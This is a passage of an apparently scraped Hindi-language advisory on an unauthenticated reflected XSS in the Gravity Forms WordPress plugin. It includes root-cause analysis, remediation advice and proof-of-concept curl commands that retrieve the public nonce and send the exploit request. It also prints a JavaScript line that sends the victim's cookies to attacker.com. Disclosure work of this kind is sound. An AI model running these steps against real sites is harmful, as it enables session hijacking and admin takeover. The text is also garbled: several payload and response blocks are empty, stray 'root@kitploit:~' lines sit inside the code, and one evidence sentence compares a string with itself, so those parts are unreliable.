Wordfence सार्वजनिक रिकॉर्ड

विवरण

WordPress के लिए Gravity Forms प्लगइन (संस्करण 2.9.28 तक परीक्षण किया गया) gform_get_config AJAX एक्शन में form_ids पैरामीटर के माध्यम से बिना प्रमाणीकरण के reflected cross-site scripting (XSS) के प्रति संवेदनशील है। यह भेद्यता इसलिए मौजूद है क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए form_ids मान बिना किसी सैनिटाइज़ेशन, एन्कोडिंग, या आउटपुट एस्केपिंग के सर्वर के HTTP प्रतिक्रिया में शब्दशः प्रतिबिंबित होते हैं। प्रतिक्रिया Content-Type: text/html; charset=UTF-8 हेडर के साथ दी जाती है, जिसके कारण ब्राउज़र प्रतिबिंबित सामग्री को HTML के रूप में पार्स और रेंडर करता है, जिसमें कोई भी इंजेक्टेड स्क्रिप्ट तत्व शामिल होता है।

एक बिना प्रमाणीकरण वाला हमलावर इस भेद्यता का फायदा उठाकर लक्षित WordPress साइट के ओरिजिन के संदर्भ में मनमाना JavaScript निष्पादित कर सकता है। चूंकि gform_get_config एक्शन के लिए एक मान्य config_nonce की आवश्यकता होती है, और यह nonce हर उस पेज के HTML स्रोत में सार्वजनिक रूप से एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है, एक हमलावर एक्सप्लॉइट अनुरोध बनाने से पहले लक्षित साइट पर किसी भी सार्वजनिक पेज का अनुरोध करके आसानी से एक मान्य nonce प्राप्त कर सकता है।

सफल शोषण से हमलावर सत्र कुकीज़ चुरा सकता है, प्रमाणित उपयोगकर्ताओं (WordPress एडमिनिस्ट्रेटर सहित) की ओर से कार्य कर सकता है, उपयोगकर्ताओं को दुर्भावनापूर्ण साइटों पर पुनर्निर्देशित कर सकता है, पेज सामग्री को विकृत कर सकता है, या एडमिनिस्ट्रेटिव खाता निर्माण के माध्यम से स्थायी पहुंच स्थापित कर सकता है।

मूल कारण विश्लेषण

संवेदनशील एंडपॉइंट```

POST /wp-admin/admin-ajax.php

संवेदनशील पैरामीटर

args POST पैरामीटर एक JSON ऑब्जेक्ट स्वीकार करता है जिसमें एक form_ids ऐरे होता है। इस ऐरे के मान बिना सैनिटाइज़ेशन के JSON प्रतिक्रिया संरचना में ऑब्जेक्ट कुंजियों के रूप में उपयोग किए जाते हैं:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

यह शोषणीय क्यों है

1. कोई इनपुट सत्यापन नहीं: form_ids मानों को पूर्णांक के रूप में सत्यापित, स्वच्छ या फ़िल्टर नहीं किया जाता है। सर्वर HTML टैग और इवेंट हैंडलर सहित मनमाना स्ट्रिंग सामग्री स्वीकार करता है।
2. कोई आउटपुट एन्कोडिंग नहीं: form_ids मान बिना HTML एंटिटी एन्कोडिंग के प्रतिक्रिया बॉडी में परावर्तित होते हैं। <, >, ", और ' जैसे वर्ण बिना संशोधन के गुजर जाते हैं।
3. HTML Content-Type: प्रतिक्रिया Content-Type: text/html; charset=UTF-8 के साथ प्रदान की जाती है, जो ब्राउज़र को प्रतिक्रिया बॉडी को HTML के रूप में पार्स करने का निर्देश देती है। परावर्तित मान के भीतर कोई भी HTML टैग ब्राउज़र के HTML पार्सर द्वारा तुरंत इंस्टैंशिएट और रेंडर किया जाता है।
4. सार्वजनिक रूप से सुलभ Nonce: gform_get_config एक्शन के लिए आवश्यक config_nonce हर पेज पर JavaScript कॉन्फ़िगरेशन ऑब्जेक्ट (gform_theme_config) में एम्बेडेड होता है जो Gravity Forms फॉर्म लोड करता है। यह nonce सभी पेजों पर समान होता है और किसी विशिष्ट उपयोगकर्ता सत्र से बंधा नहीं होता है, जिससे इसे बिना प्रमाणीकरण वाले उपयोगकर्ताओं द्वारा आसानी से प्राप्त किया जा सकता है।

CWE विश्लेषण

यह भेद्यता कई योगदान देने वाली कमजोरियों का परिणाम है जो शोषणीय स्थिति उत्पन्न करने के लिए एक साथ जुड़ती हैं। जबकि CWE-79 CVE रिपोर्टिंग उद्देश्यों के लिए प्राथमिक वर्गीकरण है, पूरी श्रृंखला दस्तावेजित करती है कि कैसे प्रत्येक विफलता शोषण को सक्षम बनाने के लिए संयुक्त होती है।

कमजोरी श्रृंखला```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: आउटपुट का अनुचित एन्कोडिंग या एस्केपिंग (प्राथमिक तकनीकी विफलता)

भूमिका: मुख्य भेद्यता — XSS स्थिति का प्रत्यक्ष कारण।

जब सर्वर form_ids मानों वाला JSON प्रतिक्रिया निर्मित करता है, तो यह आउटपुट पर HTML एंटिटी एन्कोडिंग लागू नहीं करता है। HTML में विशेष अर्थ वाले वर्ण (<, >, ", ', &) प्रतिक्रिया बॉडी में बिना संशोधित पारित हो जाते हैं। PHP फ़ंक्शन htmlspecialchars(), esc_html(), JSON_HEX_TAG के साथ wp_json_encode(), या समकक्ष आउटपुट एन्कोडिंग फ़ंक्शन form_ids मानों पर लागू नहीं किए जाते हैं, इससे पहले कि वे प्रतिक्रिया में लिखे जाएं।

साक्ष्य: शाब्दिक स्ट्रिंग <svg onload=alert(document.domain)> प्रतिक्रिया बॉडी में इनपुट के समान बाइट-दर-बाइट दिखाई देती है, न कि <svg onload=alert(document.domain)> के रूप में।

CWE-838: आउटपुट संदर्भ के लिए अनुचित एन्कोडिंग (यौगिक)

भूमिका: संदर्भ वृद्धि — डेटा प्रतिबिंब समस्या को निष्पादन योग्य कोड इंजेक्शन में बदल देती है।

प्रतिक्रिया बॉडी में JSON-संरचित डेटा होता है, लेकिन इसे Content-Type: text/html; charset=UTF-8 के साथ परोसा जाता है। यह Content-Type घोषणा ब्राउज़र के HTML पार्सर को संपूर्ण प्रतिक्रिया बॉडी को एक HTML दस्तावेज़ के रूप में संसाधित करने का निर्देश देती है। यदि प्रतिक्रिया application/json के रूप में परोसी जाती, तो ब्राउज़र प्रतिक्रिया को सादे पाठ के रूप में प्रस्तुत करता और कोई HTML पार्सिंग नहीं होती — इंजेक्ट किए गए टैग DOM तत्वों के रूप में तत्काल होने के बजाय शाब्दिक पाठ के रूप में प्रदर्शित होते।

साक्ष्य:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

यह नॉन्स निम्नानुसार पुष्टि की गई थी:

• लक्ष्य साइट के सभी पृष्ठों पर समान (होमपेज, फॉर्म पेज, गैर-फॉर्म पेज)
• उपयोगकर्ता सत्र से बंधा नहीं (कुकीज़ के साथ या बिना कुकीज़ के समान मान लौटाया गया)
• प्रति-अनुरोध घुमाया नहीं गया (लंबी अवधि के लिए स्थिर)

मौजूद सुरक्षा हेडर (अपर्याप्त)

प्रूफ ऑफ कॉन्सेप्ट

वातावरण

चरण 1: एक वैध नॉन्स प्राप्त करें

लक्ष्य साइट पर कोई भी पृष्ठ अनुरोध करें जो Gravity Forms फॉर्म लोड करता है और config_nonce मान निकालें:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

चरण 2: एक्सप्लॉइट अनुरोध भेजें

WordPress AJAX हैंडलर पर एक POST अनुरोध सबमिट करें, जिसमें XSS पेलोड युक्त एक निर्मित form_ids मान हो:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

HTTP प्रतिक्रिया बॉडी:```html

प्रतिक्रिया:```html

डिकोड किया गया JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

परिदृश्य 3: फ़िशिंग के लिए DOM टेकओवर

रिफ्लेक्टेड XSS पूरे पेज के DOM को एक भ्रामक फ़िशिंग ओवरले (जैसे, नकली लॉगिन पेज या सत्र समाप्ति प्रॉम्प्ट) से बदल सकता है, ताकि सीधे क्रेडेंशियल एकत्र किए जा सकें।

अटैक फ्लो```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. आउटपुट एन्कोडिंग — JSON प्रतिक्रिया बनाते समय wp_json_encode() को JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT फ्लैग्स के साथ लागू करें ताकि HTML-महत्वपूर्ण वर्ण एस्केप हो सकें: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Content-Type सुधार — सभी AJAX JSON प्रतिक्रियाओं के लिए प्रतिक्रिया Content-Type को text/html के बजाय application/json पर सेट करें। यह ब्राउज़र को प्रतिक्रिया को HTML के रूप में पार्स करने से रोकता है, भले ही अस्वच्छित सामग्री प्रतिबिंबित हो: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. नॉन्स स्कोपिंग — config_nonce को उपयोगकर्ता सत्र से जोड़ने या नॉन्स जनरेशन पर रेट लिमिटिंग लागू करने पर विचार करें ताकि स्वचालित शोषण की लागत बढ़ सके।

साइट प्रशासकों के लिए (तत्काल शमन)

1. वेब एप्लिकेशन फ़ायरवॉल (WAF) — admin-ajax.php POST अनुरोधों के args पैरामीटर में HTML टैग का पता लगाने और ब्लॉक करने के लिए WAF नियम तैनात करें जहाँ action=gform_get_config हो
2. सामग्री सुरक्षा नीति — इनलाइन स्क्रिप्ट के निष्पादन को रोकने के लिए एक प्रतिबंधात्मक script-src CSP निर्देश लागू करें (जैसे, script-src 'self') भले ही वे प्रतिबिंबित हों
3. अपडेट की निगरानी करें — जारी होते ही Gravity Forms पैच तुरंत लागू करें
4. प्रशासक खातों का ऑडिट करें — किसी भी अनधिकृत जोड़ के लिए मौजूदा प्रशासक खातों की समीक्षा करें

प्रकटीकरण समयरेखा

संदर्भ

• Gravity Forms सुरक्षा दस्तावेज़ीकरण
• [Gravity Forms सुरक्षा संपर्क](mailto:[email protected])
• CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित तटस्थीकरण
• OWASP क्रॉस-साइट स्क्रिप्टिंग (XSS)
• WordPress AJAX API — admin-ajax.php
• CVE-2023-2701 — पूर्व Gravity Forms XSS (भिन्न वेक्टर)
• CVE-2024-13377 — alt पैरामीटर के माध्यम से पूर्व Gravity Forms संग्रहीत XSS (भिन्न वेक्टर)

अस्वीकरण

यह भेद्यता एक अधिकृत पैठ परीक्षण अभियान के दौरान खोजी गई थी जो स्पष्ट लिखित प्राधिकरण के साथ हस्ताक्षरित कार्य विवरण के तहत आयोजित किया गया था। सभी परीक्षण सहमत दायरे के भीतर किए गए थे, और निष्कर्ष खोज के तुरंत बाद ग्राहक को सूचित किए गए थे। यह प्रकटीकरण जिम्मेदार प्रकटीकरण प्रथाओं का पालन करता है। कोई अनधिकृत सिस्टम एक्सेस नहीं किया गया था, और नियंत्रित प्रूफ-ऑफ-कॉन्सेप्ट सत्यापन के बाहर कोई डेटा बाहर नहीं निकाला गया था।

द्वारा खोजा गया: Anthony Cihan